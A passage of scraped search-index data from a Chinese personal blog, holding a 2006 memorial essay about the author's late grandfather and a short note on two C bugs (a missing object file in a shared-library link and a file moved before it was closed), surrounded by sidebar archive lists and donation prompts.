年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/12/21/a-bug-caused-by-gild-the-lily/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"'画蛇添足'招致的BUG"},{"content":"从姥爷查出得病到姥爷病逝仅有短短的12天，一周前回家看到姥爷居然成了和姥爷的最后一面，当时由于买房子的事情比较急，在家里仅仅待了一个小时左右，现在想起来真是后悔莫及。姥爷得的是多发性肝部肿瘤，也就是肝癌，医生说这病起于四年前，现在已经到了晚期，而且扩散很是严重，姥爷的胃肠里已经到处都是了，如果非要手术的话，姥爷下不了手术台的可能性很大，医生建议回家养病，喝些中药。\n姥爷一直是一个很坚强的人，之所以得病四年了都没有发现，是因为初期姥爷难受的时候也不表现出来，而且初期是间断性的，姥爷自己也没想到。直到晚期，姥爷也是不表现出来，只是姥姥发现姥爷不爱吃饭了，而且脸色极差的时候，才让儿女带姥爷去医院检查。姥爷身体健康时是个出名大饭量的人，别看接近80岁了，我们一大家子里他绝对是吃饭冠军，有时候一顿四五十个饺子不在话下。\n上周六一早7点左右，妈妈就打电话过来，哭着告诉我姥爷凌晨去世的消息，我当时迷迷糊糊的接了电话，和妈妈说了两句就挂了，之后又躺倒床上细致回想刚才妈妈说的话，这才回过味来，马上起来洗漱，穿衣，整理整理屋子，向部门请假。\n一路无话，坐车到姥姥家的小区入口，一进大门就能听到那正在播放的哀乐之声，顿时眼泪就奔涌而出。一路哭着走到姥姥住的单元，看着亲戚门一个个都穿着重孝，眼睛又红又肿。按照北方的习俗，姥爷的丧事要办三天，姥爷的遗体就停放在家里，用金色的被面包裹着，由于是冬天，加上屋里门窗都开放着，所以不用担心遗体的状况。按照司仪的安排，外孙子也要带重孝，跪在姥爷面前磕三个头。我是最后一个回去的，大家看到我哭，其他人也忍不住又哭了起来。老舅在旁边劝我，妈妈让我去看看姥姥。姥姥有心脏病，大家把姥姥安置到二舅家了。\n到了二舅家，姥姥见到了亲人，鼻子一酸又哭了起来，我和二姐就劝，和姥姥说我姥爷生前有趣的事情，让姥姥回忆姥爷生前美好的事情。姥爷是1951年因工作从江苏扬州调到东北的，姥姥则是1953年背着我二舅来到东北的。姥姥比姥爷大3岁，是姥爷家的童养媳，姥姥11岁就进了姥爷家的门，一晃算来和姥爷一起生活了近70年了，这感情怎是我等小辈能比的。姥姥以前得过脑血栓，留下些后遗症，就是一侧的腿脚没劲，特别是最近几年活动很不便，所以这几年都是姥爷在伺候我姥姥，姥爷一天的生活基本就是：早上起来给姥姥做早饭，有时候出去买早点；吃完早饭，收拾完后，把午饭的菜什么的都准备好，然后出去逛街；10点半左右准时回来给我姥姥做午饭；午饭做好端到桌子上，自己愿意吃就吃，不爱吃呢就又出去溜达，大约在姥姥吃完饭后回来洗碗收拾，然后陪姥姥打扑克，每天打一个多小时，累了躺在床上睡觉，睡醒洗衣服擦地。姥姥爱干净爱挑剔，姥爷粗心眼神也不好，所以每次姥爷干活的时候姥姥难免和姥爷口角^_^，不过话说完就拉到，第二天生活依然这样。姥爷晚上也不爱看电视，一般都是听着收音机进入梦乡。\n就因为这样，姥姥一直接受不了姥爷这么快就走了的事实，姥姥还认为姥爷是出去逛街没有回来呢。姥姥很希望能多多伺候姥爷一段时间，哪怕再给姥爷一两个月也行。姥姥还接受不了的就是姥爷走到了她的前面，姥姥身体一直不好，每天都吃药；姥爷在别人眼里整天都是生龙活虎的，可最终一转眼姥爷就走了。\n姥姥开始和我们说我姥爷的有意思的事情。有一次姥姥让姥爷去买猪肉，姥爷买完回来后，姥姥一看肉皮上还带着半截猪尾巴，而且都是那种不能吃的肥肉，姥姥责怪姥爷，姥爷也不服气，嘴里还振振有词道：\u0026ldquo;这肉大家如果都不买，那卖肉的卖给谁去\u0026rdquo;；还有一次姥姥家的电饭锅电源线坏了，姥爷买回一条新的，换上后工作正常，过后姥爷准备把坏的那条线处理掉，姥爷拿了把剪刀就把一条线给剪成了N断，中午做饭时，找电源线，才发现姥爷把新线当成坏线给处理了；姥爷退休后无事，有时候可能帮着接送孙子孙女上下学，一次骑车带着我老舅家的小妹，不小心翻车将孙女摔到了地上，姥爷害怕的抱起我小妹，看小妹没事后，跟小妹儿说：回家后不要和你奶说啊。姥爷的趣事简直太多了，随便找来哪个儿子女儿孙子孙女都能给你说上几件事。\n在邻家和儿女眼中，姥爷在这个世上唯一关心的就是姥姥了，不是说姥爷不关心其他人，只是姥爷粗心大意，但是对姥姥绝对很是细心。姥姥吃药，给倒水；姥姥烫脚给烧水倒水；姥爷每月的退休金姥姥允许他自己留50元，姥爷这50元除了买一些自己喜欢的小玩意，如指甲刀，耳勺等，大部分都给姥姥买东西了。姥爷在上个月还给姥姥买了一双棉鞋呢。姥爷要去住院前，临出门还告诉我妈：\u0026ldquo;让你妈按时吃饭\u0026rdquo;。\n听我舅说姥爷走的时候很是安详，没受到任何痛苦，走的也很风光。昨天凌晨姥爷的灵柩入土为安了；等姥姥百年之后，姥爷和姥姥就会合葬在一起，到那时姥爷又可以给姥姥做饭了，又可以和姥姥打扑克了。\n姥爷，你安息吧，我们会照顾好姥姥的。每年我们都会去你墓前扫墓的。\n","permalink":"https://tonybai.com/2006/12/19/my-grandfather-pass-away/","summary":"\u003cp\u003e从姥爷查出得病到姥爷病逝仅有短短的12天，一周前回家看到姥爷居然成了和姥爷的最后一面，当时由于买房子的事情比较急，在家里仅仅待了一个小时左右，现在想起来真是后悔莫及。姥爷得的是多发性肝部肿瘤，也就是肝癌，医生说这病起于四年前，现在已经到了晚期，而且扩散很是严重，姥爷的胃肠里已经到处都是了，如果非要手术的话，姥爷下不了手术台的可能性很大，医生建议回家养病，喝些中药。\u003c/p\u003e","title":"姥爷走了"},{"content":"河南项目实施，一波刚平一波又起呀！\n前天凌晨，河南又割入很多家SP，昨天早晨上班通过日志发现程序的一个子模块进程隔一段时间重启若干次，通常是每一批数据推过来，就有一次重启的过程，日志中没有打印出出错的标志，进程莫名奇妙的就宕掉了，查看程序环境也没有发现CORE文件或者.assert文件，在代码关键的退出区域加入打印日志，重启系统后仍然有同样的问题。郁闷呀，没办法，在家里搭建测试环境，模拟测试，测试人员果然发现问题了，我定睛瞧看，哇，原来如此，测试的那个哥们是在前台启动的系统，这样shell输出的信息也能看得到，也就是说在后台日志文件中看不到的，在前台都看得到，那个模块之所以重启的原因是因为没有找到dso中的函数符号，换句话说就是我们在编译dso时忘记了链接某个.o文件了。这个功能是年初后加入到系统中的，真想不起来当时是如何测试的了，居然这样的问题都没有发现。打开Makefile查看，的确链接串中并没有该.o文件。修改后，重新编译，替换dso，重启程序，一切正常了。事后一想以前没有暴露出该问题是因为以前的消息处理流程没有走到这个分支，由于第二次割接导致出现新类型的消息，走到了该分支，问题因此暴露。\n第二个问题也是疏忽所致。C里面最容易犯的就是忘记释放内存或者文件句柄之类的问题，这次让我遇到了。系统每天凌晨要生成一个清单文件，然后将该清单文件转移到指定目录下待被取走。程序在凌晨的时候的确准时生成了一份清单文件，但是用vi打开这份清单文件，vi提示最后一行不全，这才发现原来这个文件还没有写完，就被中断了。一位老同事马上用他的经验判断文件没有close就被移走或者改名了，这样系统缓存中的数据还没来得急写入文件就丢了，现象的确也是如此。查看代码，果不其然，唉这种低级错误都犯了。\n切记：远离疏忽大意，说起来容易做起来难呀。\n","permalink":"https://tonybai.com/2006/12/16/a-bug-caused-by-carelessness/","summary":"\u003cp\u003e河南项目实施，一波刚平一波又起呀！\u003c/p\u003e\n\u003cp\u003e前天凌晨，河南又割入很多家SP，昨天早晨上班通过日志发现程序的一个子模块进程隔一段时间重启若干次，通常是每一批数据推过来，就有一次重启的过程，日志中没有打印出出错的标志，进程莫名奇妙的就宕掉了，查看程序环境也没有发现CORE文件或者.assert文件，在代码关键的退出区域加入打印日志，重启系统后仍然有同样的问题。郁闷呀，没办法，在家里搭建测试环境，模拟测试，测试人员果然发现问题了，我定睛瞧看，哇，原来如此，测试的那个哥们是在前台启动的系统，这样shell输出的信息也能看得到，也就是说在后台日志文件中看不到的，在前台都看得到，那个模块之所以重启的原因是因为没有找到dso中的函数符号，换句话说就是我们在编译dso时忘记了链接某个.o文件了。这个功能是年初后加入到系统中的，真想不起来当时是如何测试的了，居然这样的问题都没有发现。打开Makefile查看，的确链接串中并没有该.o文件。修改后，重新编译，替换dso，重启程序，一切正常了。事后一想以前没有暴露出该问题是因为以前的消息处理流程没有走到这个分支，由于第二次割接导致出现新类型的消息，走到了该分支，问题因此暴露。\u003c/p\u003e","title":"疏忽大意招致恼人'BUG'"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/12/14/sketchup-design-for-my-house/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"我的家的'SU'版本"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 